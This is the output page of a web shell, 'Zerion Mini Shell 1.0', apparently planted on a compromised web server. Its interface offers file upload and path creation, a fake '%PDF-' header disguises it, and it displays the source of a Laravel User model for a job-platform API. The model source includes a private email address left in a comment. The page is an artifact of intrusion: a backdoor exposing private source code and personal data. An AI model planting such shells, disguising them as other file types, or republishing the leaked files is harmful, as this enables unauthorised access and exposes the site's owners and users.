%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/app/Models/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/app/Models/User.php

<?php

namespace Workeasy\Models;

use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
use Spatie\MediaLibrary\HasMedia\HasMediaTrait;
use Spatie\MediaLibrary\HasMedia\Interfaces\HasMedia;
use Workeasy\Traits\AddImageTrait;

class User extends Authenticatable implements HasMedia
{
    use Notifiable, HasMediaTrait, AddImageTrait;
    const MEDIA_COLLECTION = 'users';
    const MEDIA_DISK = 'users';


    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'email',
        'password',
    ];

    /**
     * The attributes that should be hidden for arrays.
     *
     * @var array
     */
    protected $dates = [
        'created_at',
        'updated_at',
    ];

    protected $hidden = [
        'password',
        'remember_token',
    ];
    //public function routeNotificationForMail()
    //{
    //    return $this->kristi_nocka@hotmail.com;
    //}
    public function setPasswordAttribute($value)
    {
        $this->attributes['password'] = bcrypt($value);
    }

    public function roles()
    {
        return $this->belongsToMany(Role::class);
    }

    public function candidate()
    {
        return $this->hasOne(Candidate::class);
    }

    public function company()
    {
        return $this->hasOne(Company::class);
    }

    public function updateProfileImage($base64)
    {
        $name = md5($this->id);
        if ($this->check_base64_image($base64)) {
            if ($media = $this->media()->first()) {
                $this->deleteMedia($media->id);
            }
            return $this->addMediaFromBase64($base64)->usingName($name)->usingFileName($name . '.jpg')->toMediaCollection(self::MEDIA_COLLECTION, self::MEDIA_DISK);
        }
        return null;
    }

}

Zerion Mini Shell 1.0